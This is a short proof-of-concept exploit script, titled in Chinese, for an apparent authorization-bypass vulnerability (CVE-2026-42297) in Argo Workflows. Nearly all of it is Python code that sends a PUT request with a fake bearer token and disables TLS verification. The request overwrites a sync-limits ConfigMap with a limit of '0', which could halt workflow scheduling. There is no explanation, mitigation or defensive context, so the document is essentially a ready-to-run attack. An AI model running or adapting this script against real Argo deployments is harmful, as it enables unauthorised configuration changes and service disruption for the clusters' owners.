CVE-2026-42297 Argo Workflows权限绕过漏洞

import requests # Target Argo Workflows Sync Service API endpoint # Example: https://argo-server.example.com/api/v1/sync/configmaps/sync-limits target_url = "https://<argo-host>/api/v1/sync/configmaps/<configmap-name>" # A fake or stolen Bearer token. The service checks for presence but not validity/authorization for CRUD. malicious_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.fake.token.signature" headers = { "Authorization": f"Bearer {malicious_token}", "Content-Type": "application/json" } # Payload to update the ConfigMap with malicious sync limits payload = { "metadata": { "name": "sync-limits", "namespace": "argo" }, "data": { "limit": "0", "message": "exploited" } } try: # Sending PUT request to update the ConfigMap without proper authorization response = requests.put(target_url, json=payload, headers=headers, verify=False) if response.status_code == 200 or response.status_code == 201: print("[+] PoC Successful: ConfigMap updated/created via authorization bypass.") print(f"[+] Response: {response.text}") else: print(f"[-] PoC Failed: Status code {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] Error occurred: {e}")